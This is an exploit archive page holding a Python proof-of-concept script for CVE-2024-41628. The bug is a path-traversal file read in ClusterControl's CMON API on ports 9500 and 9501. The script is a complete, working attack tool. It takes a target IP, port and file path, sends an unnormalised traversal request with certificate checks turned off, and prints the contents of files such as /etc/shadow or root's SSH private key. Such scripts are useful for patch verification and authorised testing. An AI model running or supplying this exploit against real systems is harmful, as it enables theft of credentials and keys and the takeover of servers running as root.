4837 Total CVEs
26 Years
GitHub
README.md
Rendering markdown...
POC / CVE-2024-41628.py PY
# Simple exploit script developed by Redshift Cyber Security to exploit (CVE-2024-41628) ClusterControl LFI vulnerability.
# The vulnerability affects the CMON API and specifically the RPC and RPC-TLS user interfaces which by default reside on port 9500 and 9501 respectively.
# Due to ClusterControl also typically running as root, any system file can be retrieved (for example: /etc/shadow or /root/.ssh/id_rsa).
# Affected versions of ClusterControl are 1.9.8 before 1.9.8-9778, 2.0.0 before 2.0.0-9779, and 2.1.0 before 2.1.0-9780.
#
# Usage: python3 exploit.py ip port file
# Help: python3 expoit.py -h
# Example: python3 exploit.py 127.0.0.1 9500 /etc/shadow

import requests
import argparse
import urllib3
from argparse import RawTextHelpFormatter

def main():

    urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # This is to disable SSL warnings when exploiting via port 9501
    
    parser = argparse.ArgumentParser(description='CVE-2024-41628 ClusterControl LFI developed by Redshift Cyber Security:\n\nSpecify IP address and port of vulnerable target and which file to be retrieved', formatter_class=RawTextHelpFormatter)
    parser.add_argument("ip", help="Specify target IP address")
    parser.add_argument("port", help="Specify port to exploit (default: 9500 or 9501)", type=int)
    parser.add_argument("file", help="Specify file to retrieve (eg., /etc/shadow)")
    args = parser.parse_args()

    if args.port == 9501:
        url = f"https://{args.ip}:{args.port}/../../../../../../../../../{args.file}"
    else:
        url = f"http://{args.ip}:{args.port}/../../../../../../../../../{args.file}"

    session = requests.Session()
    req = requests.Request('GET', url)
    prepped = req.prepare()
    prepped.url = url
    response = session.send(prepped, verify=False)
    print(response.text)

if __name__ == "__main__":
    main()